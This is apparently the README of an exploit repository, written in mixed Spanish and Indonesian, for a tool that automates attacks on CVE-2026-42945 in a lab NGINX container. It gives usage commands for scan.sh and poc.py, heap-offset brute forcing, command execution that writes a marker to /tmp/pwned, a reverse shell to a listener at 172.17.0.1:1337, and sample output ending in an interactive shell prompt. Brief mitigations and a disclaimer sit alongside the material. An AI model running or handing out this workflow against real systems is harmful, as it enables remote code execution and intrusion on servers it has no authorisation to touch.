
Automatiza la explotación de CVE-2026-42945 en contenedores NGINX: verifica objetivos vulnerables, realiza fuerza bruta sobre offsets de heap, ejecuta comandos y abre una shell inversa interactiva.
Controlador de automatización de PoC para explotación RCE del contenedor nginx-rift · Verificación del objetivo → Exploit de comando único → Reverse shell interactiva
Un solo comando orquesta todo el flujo del exploit: desde comprobar el contenedor hasta obtener la shell.
⚠️ Advertencia ética y legal Esta herramienta solo está destinada a pruebas de seguridad legítimas y autorizadas — pentest por contrato, laboratorio/CTF o activos propios. El uso sin permiso del propietario del sistema es un delito (UU ITE, Computer Fraud and Abuse Act, etc.). El usuario es plenamente responsable de su uso.
CVE-2026-42945 es una vulnerabilidad de ejecución remota de código (RCE) en la configuración NGINX «Rift» — un desbordamiento de búfer basado en heap en el módulo ngx_http_rewrite_module que se desencadena a través de una location block concreta (/api/users/...). El impacto es que un atacante puede ejecutar comandos mediante el handler system() dentro del contenedor.
Este repositorio contiene 2 componentes:
| Archivo | Función |
|---|---|
poc.py | Controlador de exploit — fuerza bruta del offset de heap, dos modos: --cmd (comando único) y --shell (reverse shell) |
scan.sh |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operador (host donde se ejecuta el script):
docker (con sudo o usuario en el grupo docker)python3 + poc.py (en el mismo directorio que scan.sh)curl, nc (netcat), timeout (coreutils)Objetivo (laboratorio):
nginx-rift levantado (aprovisionado mediante docker compose)19321 abierto en 127.0.0.1172.17.0.1 para el listener del host)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh y poc.py deben estar en el mismo directorio.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (predeterminado)--cmd — escribe el marcador hello from depthfirst en /tmp/pwned dentro del contenedor (reintento automático máx. 3×, tiempo límite de 300s/intento).docker exec cat /tmp/pwned debe contener el marcador (ground-truth, no basta con leer la salida).y para la sesión interactiva.shell./scan.sh shell
Ejecuta poc.py --shell con el listener 172.17.0.1:1337. Una vez que el brute-force se completa con éxito, obtienes un prompt /bin/sh interactivo como usuario worker de NGINX dentro del contenedor.
Nota: La IP
172.17.0.1es la dirección del host en el bridge predeterminado de Docker. Si tu bridge es diferente (docker network inspect bridge), cambia la variableLISTEN_IPen la parte superior descan.sh.
Todos los parámetros se agrupan en el bloque de configuración superior de scan.sh:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module / eliminar la configuración Rift.0.0.0.0; usar red interna + proxy inverso con WAF.--privileged./api/users/ (patrones no numéricos, payloads largos); detectar la aparición de /bin/sh desde procesos de nginx.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
Solo para uso legítimo. Esta herramienta está destinada a:
Debes contar con autorización por escrito del propietario del sistema antes de ejecutar esta herramienta en cualquier infraestructura.
El repositorio se proporciona «tal cual» sin ninguna garantía. Los colaboradores no se responsabilizan del mal uso.
Licencia: MIT
ngx_http_rewrite_module — documentación oficial| Elemento | Detalle |
|---|
| CVE | CVE-2026-42945 |
| Tipo | Ejecución remota de código (RCE) |
| Componente | NGINX (ngx_http_rewrite_module) — configuración «Rift» |
| Desencadenante | Petición a una location block vulnerable (/api/users/{id}) |
| Impacto | Ejecución de comandos arbitrarios como usuario worker de NGINX dentro del contenedor |
| Configuración del laboratorio | Contenedor nginx-rift-nginx-1 — puerto host 19321 |
| Orquestador de automatización — verificación del objetivo, ejecución del PoC, verificación del resultado y sesión de shell interactiva |
| Variable | Valor por defecto | Función |
|---|
DOCKER | sudo docker | Reemplaza docker si el usuario ya está en el grupo docker |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Filtro de identificación del contenedor |
CONTAINER | nginx-rift-nginx-1 | Nombre del contenedor objetivo |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Dirección del objetivo |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Listener de reverse shell |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Verificación de la ejecución |
CMD_TIMEOUT | 300 | Tiempo límite por intento (segundos) |
MAX_ATTEMPTS | 3 | Número de reintentos del PoC --cmd |
| Problema | Solución |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d, y repite |
HTTP 000 / connection refused | El puerto 19321 aún no está listo: espera unos segundos, revisa docker ps |
File 'poc.py' tidak ditemukan | Ejecuta scan.sh desde el directorio del repositorio (poc.py debe estar en el mismo directorio) |
El PoC --cmd falla reiteradamente (3×) | Aumenta MAX_ATTEMPTS / CMD_TIMEOUT; asegúrate de que el kernel y la versión de NGINX coinciden con el laboratorio |
| La reverse shell no conecta | Comprueba que LISTEN_IP corresponde al bridge (docker network inspect bridge); asegúrate de que el puerto 1337 no esté en uso |
Error unrecognized arguments | Asegúrate de que la versión de poc.py soporta las flags --listen-ip/--listen-port (ver python3 poc.py -h) |